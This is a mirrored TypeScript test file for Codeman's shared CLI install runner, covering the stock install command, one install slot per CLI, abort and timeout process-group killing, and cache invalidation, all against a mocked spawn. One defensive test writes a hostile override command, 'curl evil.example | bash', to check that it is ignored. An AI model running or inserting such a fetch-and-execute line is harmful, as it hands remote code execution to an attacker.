mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-11-13 18:29:32 +01:00
The runner that executes a CLI's stock install command (the environment without CODEMAN_*, the npm prefix redirect, the bounded process group, the one install per CLI at a time) moves from cli-registry-routes.ts to src/cli-install-runner.ts, so the local model install can use the same one. The route re-exports installEnv and npmGlobalPrefixWritable and behaves as before; its tests are unchanged. New in the shared module: an abort signal that kills the process group, stockInstallCommand() (the compiled stock command, never the clis.json one) and tryBeginCliInstall(), the one install slot per CLI for both callers. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
299 lines
11 KiB
TypeScript
299 lines
11 KiB
TypeScript
/**
|
|
* @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
|
|
* what is new in it since it left the registry route, and what both of its callers rely on.
|
|
*
|
|
* The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
|
|
* test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
|
|
* - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
|
|
* change what the local model install job runs;
|
|
* - the one install slot per CLI is shared: while the job holds it, the route answers 409;
|
|
* - an abort signal kills the installer's process group, and one that is already aborted
|
|
* starts nothing;
|
|
* - `forgetResolvedCli()` drops both caches.
|
|
*
|
|
* Nothing is really spawned: `spawn` is a fake child.
|
|
*
|
|
* Port: N/A (app.inject(), no live server).
|
|
*/
|
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
|
import { EventEmitter } from 'node:events';
|
|
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
|
import { dirname } from 'node:path';
|
|
import { createRouteTestHarness } from './routes/_route-test-utils.js';
|
|
import {
|
|
CLI_INSTALL_TIMEOUT_MS,
|
|
forgetResolvedCli,
|
|
runInstallCommand,
|
|
stockInstallCommand,
|
|
tryBeginCliInstall,
|
|
} from '../src/cli-install-runner.js';
|
|
import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
|
|
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
|
|
import {
|
|
getCli,
|
|
registryFilePath,
|
|
reloadCliRegistry,
|
|
resolveInstallCommandForPlatform,
|
|
} from '../src/config/cli-registry/registry.js';
|
|
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
|
|
|
const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
|
|
spawnMock: vi.fn(),
|
|
invalidateBinariesSpy: vi.fn(),
|
|
invalidateIdSpy: vi.fn(),
|
|
}));
|
|
vi.mock('node:child_process', async (importOriginal) => {
|
|
const actual = await importOriginal<typeof import('node:child_process')>();
|
|
return { ...actual, spawn: spawnMock };
|
|
});
|
|
vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
|
|
const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
|
|
return {
|
|
...actual,
|
|
invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
|
|
invalidateBinariesSpy([...binaries]);
|
|
actual.invalidateCliExecutableResolvers(binaries);
|
|
},
|
|
};
|
|
});
|
|
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
|
|
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
|
|
return {
|
|
...actual,
|
|
invalidateCliResolverCache: (id?: string) => {
|
|
invalidateIdSpy(id);
|
|
actual.invalidateCliResolverCache(id);
|
|
},
|
|
};
|
|
});
|
|
|
|
interface FakeChild extends EventEmitter {
|
|
pid: number;
|
|
stdout: EventEmitter;
|
|
stderr: EventEmitter;
|
|
}
|
|
|
|
/** A spawned installer that stays alive until the test ends it. */
|
|
function hangingChild(pid = 4_242_424): FakeChild {
|
|
const child = new EventEmitter() as FakeChild;
|
|
child.pid = pid;
|
|
child.stdout = new EventEmitter();
|
|
child.stderr = new EventEmitter();
|
|
return child;
|
|
}
|
|
|
|
beforeEach(() => {
|
|
spawnMock.mockReset();
|
|
invalidateBinariesSpy.mockClear();
|
|
invalidateIdSpy.mockClear();
|
|
});
|
|
|
|
afterEach(() => {
|
|
vi.useRealTimers();
|
|
vi.restoreAllMocks();
|
|
});
|
|
|
|
describe('stockInstallCommand', () => {
|
|
afterEach(() => {
|
|
rmSync(registryFilePath(), { force: true });
|
|
reloadCliRegistry();
|
|
});
|
|
|
|
it('is the compiled stock command of every stock CLI that has one for this platform', () => {
|
|
for (const entry of STOCK_CLIS) {
|
|
const expected = resolveInstallCommandForPlatform(entry);
|
|
expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
|
|
}
|
|
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
|
|
});
|
|
|
|
it('is undefined for an id that is not a stock CLI', () => {
|
|
expect(stockInstallCommand('not-a-cli')).toBeUndefined();
|
|
expect(stockInstallCommand('')).toBeUndefined();
|
|
expect(stockInstallCommand('__proto__')).toBeUndefined();
|
|
});
|
|
|
|
it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
|
|
mkdirSync(dirname(registryFilePath()), { recursive: true });
|
|
writeFileSync(
|
|
registryFilePath(),
|
|
JSON.stringify({
|
|
schemaVersion: 1,
|
|
clis: {
|
|
opencode: {
|
|
discovery: {
|
|
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
|
|
},
|
|
},
|
|
},
|
|
}),
|
|
{ mode: 0o600 }
|
|
);
|
|
reloadCliRegistry();
|
|
// The override is in force for the registry (what the Settings list shows and the route runs)...
|
|
expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
|
|
// ...and is not what the local model install job would run.
|
|
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
|
|
});
|
|
});
|
|
|
|
describe('tryBeginCliInstall', () => {
|
|
it('gives one slot per CLI id, and the slot comes back when it is released', () => {
|
|
const release = tryBeginCliInstall('slot-a');
|
|
expect(release).toBeTypeOf('function');
|
|
expect(tryBeginCliInstall('slot-a')).toBeNull();
|
|
// Another CLI has its own slot.
|
|
const other = tryBeginCliInstall('slot-b');
|
|
expect(other).toBeTypeOf('function');
|
|
release!();
|
|
const again = tryBeginCliInstall('slot-a');
|
|
expect(again).toBeTypeOf('function');
|
|
again!();
|
|
other!();
|
|
});
|
|
|
|
it('a release called twice frees the slot once: a later holder is not thrown out', () => {
|
|
const first = tryBeginCliInstall('slot-c')!;
|
|
first();
|
|
const second = tryBeginCliInstall('slot-c')!;
|
|
first();
|
|
expect(tryBeginCliInstall('slot-c')).toBeNull();
|
|
second();
|
|
});
|
|
|
|
it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
|
|
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
|
writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
|
|
const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
|
|
const release = tryBeginCliInstall('grok')!;
|
|
try {
|
|
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
|
|
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
|
|
expect(spawnMock).not.toHaveBeenCalled();
|
|
} finally {
|
|
release();
|
|
}
|
|
// Released: the route installs again.
|
|
spawnMock.mockImplementation(() => {
|
|
const child = hangingChild();
|
|
setImmediate(() => child.emit('close', 0));
|
|
return child;
|
|
});
|
|
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
|
|
expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
|
|
// And the route gave the slot back when its install ended.
|
|
const after = tryBeginCliInstall('grok');
|
|
expect(after).toBeTypeOf('function');
|
|
after!();
|
|
});
|
|
});
|
|
|
|
describe('runInstallCommand', () => {
|
|
it('runs the command in a shell of its own process group and reports how it ended', async () => {
|
|
spawnMock.mockImplementation(() => {
|
|
const child = hangingChild();
|
|
setImmediate(() => {
|
|
child.stdout.emit('data', Buffer.from('installed\n'));
|
|
child.emit('close', 0);
|
|
});
|
|
return child;
|
|
});
|
|
const result = await runInstallCommand('echo hello');
|
|
expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
|
|
expect(spawnMock).toHaveBeenCalledTimes(1);
|
|
expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
|
|
expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
|
|
});
|
|
|
|
it('a spawn that throws is a result, not an exception', async () => {
|
|
spawnMock.mockImplementation(() => {
|
|
throw new Error('ENOENT sh');
|
|
});
|
|
expect(await runInstallCommand('echo hello')).toEqual({
|
|
code: null,
|
|
output: 'spawn failed: ENOENT sh',
|
|
timedOut: false,
|
|
aborted: false,
|
|
});
|
|
});
|
|
|
|
it('a signal that is already aborted starts nothing', async () => {
|
|
const controller = new AbortController();
|
|
controller.abort();
|
|
expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
|
|
code: null,
|
|
output: '',
|
|
timedOut: false,
|
|
aborted: true,
|
|
});
|
|
expect(spawnMock).not.toHaveBeenCalled();
|
|
});
|
|
|
|
it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
|
|
vi.useFakeTimers();
|
|
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
|
const child = hangingChild(777_777);
|
|
spawnMock.mockImplementation(() => child);
|
|
const controller = new AbortController();
|
|
const pending = runInstallCommand('echo hello', { signal: controller.signal });
|
|
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
|
|
|
controller.abort();
|
|
// The negative pid is the group: the installer's own children go with it.
|
|
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
|
|
expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
|
|
await vi.advanceTimersByTimeAsync(3_000);
|
|
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
|
|
|
|
child.emit('close', null);
|
|
expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
|
|
});
|
|
|
|
it('an aborted installer that never closes is given up on after eight seconds', async () => {
|
|
vi.useFakeTimers();
|
|
vi.spyOn(process, 'kill').mockImplementation(() => true);
|
|
spawnMock.mockImplementation(() => hangingChild());
|
|
const controller = new AbortController();
|
|
const pending = runInstallCommand('echo hello', { signal: controller.signal });
|
|
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
|
controller.abort();
|
|
await vi.advanceTimersByTimeAsync(8_000);
|
|
expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
|
|
});
|
|
|
|
it('the timeout still kills the group and says so, as it did in the route', async () => {
|
|
vi.useFakeTimers();
|
|
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
|
const child = hangingChild(888_888);
|
|
spawnMock.mockImplementation(() => child);
|
|
const pending = runInstallCommand('echo hello');
|
|
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
|
await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
|
|
expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
|
|
child.emit('close', null);
|
|
expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
|
|
});
|
|
|
|
it('an abort after the installer ended does nothing', async () => {
|
|
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
|
spawnMock.mockImplementation(() => {
|
|
const child = hangingChild();
|
|
setImmediate(() => child.emit('close', 0));
|
|
return child;
|
|
});
|
|
const controller = new AbortController();
|
|
const result = await runInstallCommand('echo hello', { signal: controller.signal });
|
|
controller.abort();
|
|
expect(result.aborted).toBe(false);
|
|
expect(kill).not.toHaveBeenCalled();
|
|
});
|
|
});
|
|
|
|
describe('forgetResolvedCli', () => {
|
|
it('drops the per-binary caches and the per-id resolver', () => {
|
|
forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
|
|
expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
|
|
expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
|
|
});
|
|
});
|